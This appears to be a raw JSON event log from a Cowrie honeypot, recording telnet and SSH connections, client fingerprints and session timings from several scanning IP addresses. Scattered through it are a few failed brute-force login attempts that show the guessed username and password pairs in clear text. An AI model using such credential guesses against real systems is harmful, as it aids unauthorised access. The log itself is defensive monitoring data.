{"eventid":"cowrie.session.closed","duration":30.165570974349976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:27.051074Z","src_ip":"209.126.87.217","session":"421113eced70","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:27.099607Z","src_ip":"37.143.61.130","session":"2b6e5f2e3cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33668,"dst_ip":"10.17.0.5","dst_port":23,"session":"2738a119141e","protocol":"telnet","message":"New connection: 172.233.212.110:33668 (10.17.0.5:23) [session: 2738a119141e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:27.151424Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:27.183800Z","src_ip":"37.143.61.130","session":"2b6e5f2e3cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.184002161026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:27.671198Z","src_ip":"172.233.212.110","session":"7cc57dc31a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":53482,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ff383ce079f","protocol":"ssh","message":"New connection: 125.31.2.160:53482 (10.17.0.5:22) [session: 8ff383ce079f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:29.176215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:29.180775Z","src_ip":"125.31.2.160","session":"8ff383ce079f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:29.398529Z","src_ip":"125.31.2.160","session":"8ff383ce079f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.17161178588867,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:29.434851Z","src_ip":"139.162.207.207","session":"81cf6f645d3f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dennis","password":"dennis@123","message":"login attempt [dennis/dennis@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:29.884760Z","src_ip":"37.143.61.130","session":"2b6e5f2e3cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.590614318847656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:30.049595Z","src_ip":"209.126.87.217","session":"feb77756adb3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asd!@","message":"login attempt [root/123asd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:30.320814Z","src_ip":"125.31.2.160","session":"8ff383ce079f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:31.279378Z","src_ip":"37.143.61.130","session":"2b6e5f2e3cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:31.541671Z","src_ip":"125.31.2.160","session":"8ff383ce079f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33674,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a774d38c26","protocol":"telnet","message":"New connection: 172.233.212.110:33674 (10.17.0.5:23) [session: 62a774d38c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:32.051941Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb0e4264fa9","protocol":"telnet","message":"New connection: 172.233.212.110:43122 (10.17.0.5:23) [session: 0fb0e4264fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:33.190886Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37228,"dst_ip":"10.17.0.5","dst_port":22,"session":"75cceb2f1a39","protocol":"ssh","message":"New connection: 80.94.92.182:37228 (10.17.0.5:22) [session: 75cceb2f1a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:33.936479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:34.059985Z","src_ip":"80.94.92.182","session":"75cceb2f1a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:34.065165Z","src_ip":"80.94.92.182","session":"75cceb2f1a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ps","password":"123456","message":"login attempt [ps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:34.771733Z","src_ip":"80.94.92.182","session":"75cceb2f1a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:36.047813Z","src_ip":"80.94.92.182","session":"75cceb2f1a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":43126,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4485b19695","protocol":"telnet","message":"New connection: 172.233.212.110:43126 (10.17.0.5:23) [session: 9f4485b19695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:38.231125Z"}
{"eventid":"cowrie.session.closed","duration":43.91357207298279,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:38.476926Z","src_ip":"139.162.207.207","session":"3fbde01430d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.264729738235474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:39.537148Z","src_ip":"172.233.212.110","session":"e363dac1af41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19640111923218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:41.483518Z","src_ip":"209.126.87.217","session":"9b9109f8b707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1673800945282,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:41.574890Z","src_ip":"209.126.87.217","session":"e6b8a3e24911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51674509048462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:42.468381Z","src_ip":"172.233.212.110","session":"de869ad5a921","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.07752346992493,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:45.423089Z","src_ip":"139.162.207.207","session":"db8a1c1abeb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56622,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d437da058b","protocol":"telnet","message":"New connection: 209.126.87.217:56622 (159.203.135.109:23) [session: b1d437da058b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:45.803450Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d4c04570c4","protocol":"telnet","message":"New connection: 172.233.212.110:33452 (10.17.0.5:23) [session: 76d4c04570c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:45.944834Z"}
{"eventid":"cowrie.session.closed","duration":32.83301544189453,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:46.086986Z","src_ip":"172.233.212.110","session":"de6a029efe4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44042205810547,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:51.083415Z","src_ip":"172.233.212.110","session":"064aa431a7bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.245976448059082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:52.037676Z","src_ip":"172.233.212.110","session":"d1ca99050107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59581017494202,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:52.574277Z","src_ip":"172.233.212.110","session":"9caed36ae841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217145204544067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:54.177289Z","src_ip":"172.233.212.110","session":"67a406a33141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834508180618286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:54.199941Z","src_ip":"172.233.212.110","session":"ced4d2018819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2229790687561,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:54.243438Z","src_ip":"172.233.212.110","session":"bdb03553d05d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.365561962127686,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:54.472418Z","src_ip":"139.162.207.207","session":"a9f120334bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63163471221924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:54.518818Z","src_ip":"172.233.212.110","session":"a7d066a8c816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52856,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb574f7c22d","protocol":"telnet","message":"New connection: 139.162.207.207:52856 (10.17.0.5:23) [session: 0eb574f7c22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:54.620318Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46654,"dst_ip":"159.203.135.109","dst_port":22,"session":"c276fe6e1cd1","protocol":"ssh","message":"New connection: 159.203.92.129:46654 (159.203.135.109:22) [session: c276fe6e1cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:56.230761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:56.236417Z","src_ip":"159.203.92.129","session":"c276fe6e1cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:56.246327Z","src_ip":"159.203.92.129","session":"c276fe6e1cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abcd.1234","message":"login attempt [ansible/abcd.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:56.258174Z","src_ip":"159.203.92.129","session":"c276fe6e1cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:57.290169Z","src_ip":"159.203.92.129","session":"c276fe6e1cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.37411642074585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:34:59.525433Z","src_ip":"172.233.212.110","session":"2738a119141e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":34238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38655b9c01b","protocol":"telnet","message":"New connection: 172.233.212.110:34238 (10.17.0.5:23) [session: d38655b9c01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:00.066037Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":34248,"dst_ip":"10.17.0.5","dst_port":23,"session":"336291fd9f7e","protocol":"telnet","message":"New connection: 172.233.212.110:34248 (10.17.0.5:23) [session: 336291fd9f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:01.164072Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"d913509d9457","protocol":"telnet","message":"New connection: 172.233.212.110:34260 (10.17.0.5:23) [session: d913509d9457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:02.054249Z"}
{"eventid":"cowrie.session.closed","duration":31.39775252342224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:04.588526Z","src_ip":"172.233.212.110","session":"0fb0e4264fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.463783740997314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:06.515647Z","src_ip":"172.233.212.110","session":"62a774d38c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.41605544090271,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:10.647070Z","src_ip":"172.233.212.110","session":"9f4485b19695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a704ba319b4","protocol":"telnet","message":"New connection: 139.162.207.207:56396 (10.17.0.5:23) [session: 1a704ba319b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:10.934994Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51780,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d530f73ca2","protocol":"telnet","message":"New connection: 172.233.212.110:51780 (10.17.0.5:23) [session: 51d530f73ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:11.665026Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56398,"dst_ip":"10.17.0.5","dst_port":23,"session":"83d4d4af2539","protocol":"telnet","message":"New connection: 139.162.207.207:56398 (10.17.0.5:23) [session: 83d4d4af2539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:11.707232Z"}
{"eventid":"cowrie.session.closed","duration":30.414270162582397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:16.358980Z","src_ip":"172.233.212.110","session":"76d4c04570c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617780208587646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:17.421088Z","src_ip":"209.126.87.217","session":"b1d437da058b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36582,"dst_ip":"159.203.135.109","dst_port":23,"session":"10764534c39e","protocol":"telnet","message":"New connection: 209.126.87.217:36582 (159.203.135.109:23) [session: 10764534c39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:17.916008Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39744,"dst_ip":"10.17.0.5","dst_port":23,"session":"77774af93280","protocol":"telnet","message":"New connection: 172.233.212.110:39744 (10.17.0.5:23) [session: 77774af93280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:21.701896Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":43000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5f1e57eb4a","protocol":"ssh","message":"New connection: 125.31.2.160:43000 (10.17.0.5:22) [session: ca5f1e57eb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:25.334239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:35:25.338804Z","src_ip":"125.31.2.160","session":"ca5f1e57eb4a","protocol":"ssh"}
